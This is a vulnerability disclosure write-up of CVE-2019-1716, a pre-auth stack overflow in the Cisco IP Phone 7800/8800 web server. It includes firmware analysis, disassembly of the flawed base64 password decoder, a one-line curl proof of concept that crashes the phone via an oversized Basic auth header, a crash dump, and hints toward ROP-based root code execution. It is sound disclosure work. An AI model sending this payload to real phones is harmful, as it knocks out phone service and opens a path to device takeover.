26 Mar 19

Cisco IP Phone 7800 Series and 8800 Series Remote Code Execution Vulnerability CVE-2019-1716

One of the most popular and helpful items on every desk – is the Cisco IP Phone (x2.5 of the market). You can find them in meeting rooms, hotels, hospitals, Government agencies, airports - everywhere. This device is mainstream, widely-implemented, is the choice for small-to-large companies and easily accessible and not normally on safeguard networks. It's simple to find network socket on VoIP devices, identify its system on the device’s display and connect with your computer. You will notice many places network sockets are entirely under user’s control - companies VoIP technology, third party service providers, Hotels, you name it.

The well-known and highly used security tool VoIP Hopper is good evidence that hackers and penetration testers are interested in the mass deployment of IP phones when evaluating the security posture of an organisation.

We have found a critical vulnerability in the Cisco IP Phone. You can see our advisory here.

 

INFORMATION GATHERING AND OVERVIEW

I was using popular Cisco IP Phone model 7821 series with firmware version 11.5 which was easy to find for Cisco IP Phone 7900 with available firmware versions - 10-3, 11-5, and 12-1.

A researcher can check the firmware version, IP address and other parameters with the phone screen. All versions of firmware are available for free on Cisco web portal - Where we can download all version for our phone model and make comparisons.

Unpacking of firmware file is a smooth operation with Binwalk (Firmware Analysis Tool) - as the file system is UBIFS - then we chose FW type of our phone and started our work: 

 

binwalk rootfs78xx.11-5-1-18.sbn

 

DECIMAL       HEXADECIMAL     DESCRIPTION

 

--------------------------------------------------------------------------------

 

336           0x150           UBI erase count header, version: 1, EC: 0x0, VID header offset: 0x800, data offset: 0x1000

 

After UBIFS unpack we can see that it's what we are looking for

 

rootfs user$ tree -C -d -L 2 .

 

 

├── bin

│   └── include

├── dev

│   └── input

├── etc

│   ├── cron.5mins

│   ├── cron.hourly

│   ├── crontabs

│   ├── dbus-1

│   ├── default

│   ├── init.d

│   ├── iproute2

│   ├── network

│   ├── pam.d

│   ├── profile.d

│   ├── pulse

│   ├── rc0.d

│   ├── rc5.d

│   ├── rc6.d

│   ├── rcS.d

│   ├── security

│   ├── skel

│   ├── terminfo

│   ├── trust_store

│   ├── udev

│   ├── udhcpc.d

│   └── xinetd.default

├── home

│   ├── default

│   └── root

├── lib

│   ├── jclFoundation11

│   ├── modules

│   ├── security

│   └── udev

├── logsave -> ./mnt/flash2/

├── media

├── mnt

│   ├── flash

│   └── flash2

├── proc

├── sbin

├── sys

├── tmp -> /var/tmp

├── usr

│   ├── bin

│   ├── lib

│   ├── libexec

│   ├── local -> ../mnt/flash

│   ├── sbin

│   └── share

└── var

    ├── cache -> volatile/cache

    ├── lib

    ├── lock -> volatile/lock

    ├── log -> volatile/log

    ├── run -> volatile/run

    ├── tmp -> volatile/tmp

    └── volatile

 

Connect to VoIP network and using VoIP Hopper to get access to web interface:    

voiphopper -i eth0 -v <vlan>

 

A port scan on the target IP Phone produced the following result: 

PORT      STATE    SERVICE

 80/tcp   open     http

 443/tcp  open     https

 4224/tcp open     xtell

 8443/tcp open     https-alt

 8888/tcp filtered sun-answerbook

 MAC Address: **********(Cisco Systems)

 

Web server is one of the most interesting targets to investigate because it can be accessed remotely.

 

WEB SERVER WORKFLOW ANALYSIS

After a quick review of the web application, we see that there are not many interesting functions inside - only informational and log files.

 

 

Let's understand how the web server is launched, how it's working and handles HTTP requests to find fascinating functions and possibly security flaws.

We do not see in the init directory any launches of “web server like” binaries. However, we see an immediate launch of Java application which launched in init process with root (superuser) privileges and class name “cip.sys.SystemManager”:

 

./etc/rc5.d/

├── S20syslog -> ../init.d/syslog

├── S42crond

├── S49restart_mgr

├── S90makedirs

├── S91correct

├── S92phone.sh

 

S92phone.sh:

 

 

.................

#always keep cvm start as last one

/etc/init.d/java.sh start

exit 0

 

/etc/init.d/java.sh:

 

 

# Daemon information

DAEMON=/bin/java

LIBPATH=/usr/lib

ARG1="-Xmso96K"

ARG2="-Xmx64M"

ARG3="-Xdump:system:none -Xdump:snap:none -Xdump:java:defaults:file=/usr/local/backtraces/javacore.%seq.bt -Xdump:heap:file=/usr/local/backtraces/heapdump.%seq.phd"

ARG4="-Djava.library.path=$LIBPATH"

ARG5="-cp /usr/lib/Snoopyplus.jar cip.sys.SystemManager"

ARGS="$ARG1 $ARG2 $ARG3 $ARG4 $ARG5"

BASENAME=${DAEMON##*/}

PIDFILE=/var/run/$BASENAME.pid

#UID=app:services

UID=root:root

 

if ! [ -x $DAEMON ]

then

        exit 0

fi

 

# Source the init script functions

. /etc/rc5.d/init-functions

 

export LD_LIBRARY_PATH=/usr/lib

export LD_PRELOAD="libasyslog.so libcisco.so"

 

case "$1" in

    start)

        echo -n "Starting $BASENAME: "

        ulimit -s 1024

        start-stop-daemon --start --quiet --background --pidfile $PIDFILE --chuid $UID --exec $DAEMON -- $ARGS

        echo "complete"

        ;;

 

This demonstrates that the application can be critical and we made a closer look on “/usr/lib/Snoopyplus.jar”.

Using Java decompiler tools capable of converting class files into readable Java source code. We could easily identify information needed for the next step:

  • the jar is responsible for acting as System manager, control Web interface application and few other services.
  • Part of operations and services like HTTP request handling/response were implemented with native .so libraries.

 

package cip.http;

public final class NativeHttpTask

{  static

   {

    try

    {

       System.loadLibrary("HTTPService");

    }

    catch (Throwable localThrowable) {

       localThrowable.printStackTrace();

     } }}

 

REVIEW OF NATIVE LIBRARY

A quick overview of web interface functions, Java application, and native library shows us that now we have everything to assess the web interface.

Also, web interface aided us with great knowledge from the crash logs allowing us to easily investigate during testing.

“Security vulnerability is frequently not in the function we supposed to see, but in a function, we not expected to find”

In native library I found the specific requirement of authorization for URLs link to which I cannot see between web interface functionalities: “LineInfo,” “CallInfo” and “ModeInfo”.

Pages “LineInfo”, “CallInfo” and “ModeInfo” are protected with HTTP authorization. Library libHTTPService.so contains function “extractUserNameAndPassword” which extracts authentication data from base64 encoding.

This function initiates a stack buffer to store the decoded password parameter with maximum size 0x101 [1]:

 

.text:0000F368                 SUB             R3, R11, #-neg_0x11c        <------ Buffer init in stack - [r11-11c], buffer size 0x101 - [1]

.text:0000F36C                 LDR             R0, [R11,#Header_string]

.text:0000F370                 MOV             R1, R2

.text:0000F374                 MOV             R2, R3

.text:0000F378                 BL              j_decodeUserPasswd          <--------- Call extracting function

 

After that “j_decodeUserPasswd” function will write the base64 decoded password from the basic authentication header to a buffer with size 0x101.

The base64 decoding loop, decodes 4 bytes at the time, with step 4 bytes and writes [3] maximum 0xFFFC [2] number of bytes in buffer with size 0x101.

 

.text:000179F8 loc_179F8                               ; CODE XREF: decodeUserPasswd+38↑j

.text:000179F8                 LDR             R3, [R11,#buffer_addr]

.text:000179FC                 STR             R3, [R11,#var_18]

.text:00017A00                 LDRH            R3, [R11,#length]

.text:00017A04                 BIC             R3, R3, #3                  <--------- Loop size set up (length & 0xFFFC) [2]

.text:00017A08                 STRH            R3, [R11,#length]

.text:00017A0C                 B               loc_17B4C                   <---------- Jump to Loop End to check step

Decode and write to buffer functionality - shortened for first two bytes because for other code will be the same:

.text:00017A10 loc_17A10                               ; CODE XREF: decodeUserPasswd+1C0↓j

.text:00017A10                 LDR             R3, [R11,#Header_string]    <-------------- decode and write functionality Start

.text:00017A14                 LDRB            R3, [R3]

.text:00017A18                 LDR             R2, [R11,#Header_string]

.text:00017A1C                 ADD             R2, R2, #1

.text:00017A20                 STR             R2, [R11,#Header_string]

.text:00017A24                 MOV             R0, R3

.text:00017A28                 BL              j_ConvertBase64Character    <-------------- Decode from Base64

.text:00017A2C                 MOV             R3, R0

.text:00017A30                 MOV             R3, R3,LSL#18

.text:00017A34                 STR             R3, [R11,#var_1C]

.text:00017A38                 LDR             R3, [R11,#Header_string]

.text:00017A3C                 LDRB            R3, [R3]

.text:00017A40                 LDR             R2, [R11,#Header_string]

.text:00017A44                 ADD             R2, R2, #1

.text:00017A48                 STR             R2, [R11,#Header_string]

.text:00017A4C                 MOV             R0, R3

.text:00017A50                 BL              j_ConvertBase64Character    <-------------- Decode from Base64

.text:00017A54                 MOV             R3, R0

.text:00017A58                 MOV             R3, R3,LSL#12

.text:00017A5C                 LDR             R2, [R11,#var_1C]

.text:00017A60                 ORR             R3, R2, R3

.text:00017A64                 STR             R3, [R11,#var_1C]

.text:00017A68                 LDR             R3, [R11,#var_1C]

.text:00017A6C                 MOV             R3, R3,LSR#16

.text:00017A70                 UXTB            R2, R3

.text:00017A74                 LDR             R3, [R11,#buffer_addr]

.text:00017A78                 STRB            R2, [R3]                    <-------------- write decoded byte to Buffer [3]

.text:00017A7C                 LDR             R3, [R11,#buffer_addr]

.text:00017A80                 ADD             R3, R3, #1

.text:00017A84                 STR             R3, [R11,#buffer_addr]      <-------------- increase buffer address on 1

 

<-------------- continue decoding other symbols --------------------->

 

Loop End:

.text:00017B40 loc_17B40                               ; CODE XREF: decodeUserPasswd+100↑j

.text:00017B40                                         ; decodeUserPasswd+160↑j

.text:00017B40                 LDRH            R3, [R11,#length]

.text:00017B44                 SUB             R3, R3, #4

.text:00017B48                 STRH            R3, [R11,#length]

.text:00017B4C

 

.text:00017B4C loc_17B4C                               ; CODE XREF: decodeUserPasswd+78↑j

.text:00017B4C                 LDRH            R3, [R11,#length]

.text:00017B50                 CMP             R3, #0                      <---------- Check end of loop

.text:00017B54                 BNE             loc_17A10                   <----------- Jump to decode and write functionality

 

After that stack in function “extractUserNameAndPassword” would be overflowed which could lead to arbitrary code execution with Return-to-Libc attack, or simple Denial of Service (DoS) - as phone get SIGSEGV 11 and reboot.

 

CRASH PROOF-OF-CONCEPT AND CRASH COLLECTION

Based on the possible security bug I developed a Proof-of-Concept (PoC) script for quick validation.

I provided a security report and script demonstrating evidence of the vulnerability to the Cisco Product Security Incident Response Team (PSIRT) allowing them to easily reproduce the vulnerability for educational purposes and allowing them to validate their security patch before roll-out to ensure users are protected.

 

voip="VoIP_phone_IP"

payload=`python -c 'import sys;sys.stdout.write("A"*(280)+"C"*80)'`

curl -H "Authorization: Basic $payload" http://${voip}/CGI/Java/LineInfo

 

A researcher can easily review this crash and develop a Remote Code Execution (RCE) exploit using information gathered from the webInterface Console Logs:


 

Crash file:

 

************************************************************

Crash File for process/pid => java/3635

Creation Time:      Thu Dec  6 12:19:14 2018

************************************************************

************************************************************

*             Dumping Registers                            *

************************************************************

R0 =   08821954

R1 =   B5023924

R2 =   00000018

R3 =   08821A54

R4 =   00000006

R5 =   FFFFFFFF

R6 =   00000000

R7 =   00000152

R8 =   00000000

R9 =   B5051754

R10 = B5051754

FP =   B200821C

IP =   B50305E8

LR =   B5014050

PC =   470E4AB8

CPSR = 20000010

FAULT = 08821954

STACK = B2008200

 

************************************************************

*             Dumping Stack                                *

************************************************************

 

@0xb2008200: ffffffff ffffffff 08821a54 08821954 08822008 b2008220 b5016ccc b5014038

 

 

************************************************************

*             Crash Information                            *

************************************************************

Thread Name: Unknown (Probably the main task)

Signal:      11

Pid:         3635

TID:         0xb2033460

Task CmdLine: /bin/java

si_signo:    11

si_errno:    0

si_code:     1

si_addr:     0x8821954


The crash log tells us the following:

  • This is memory corruption (SIGSEGV 11), in Process “java”.
  • Stack address, registers, and program counter (PC) is changed and controlled with our input - base64 decoding string “C” symbols give us mostly HEX bytes “0x08” “0x20” “0x82”.
  • The system has Address Space Layout Randomization (ASLR) configured however, part of libraries in the process are compiled without ASLR and have constant addresses.

 

CONCLUSIONS

This security vulnerability can lead to DoS of the device, or using controlled PC register and stack, knowing constant addresses that are not ASLR libraries - it's possible to write ROP gadgets and get RCE with root privileges on the device (As Java process is launched as ROOT).

That’s why we recommend users to install the latest security patches from Cisco’s website to improve the security of their systems. https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190320-ip-phone-rce.

We would like to thank PSIRT for getting this security flaw remediated.

  Back To Blog Listing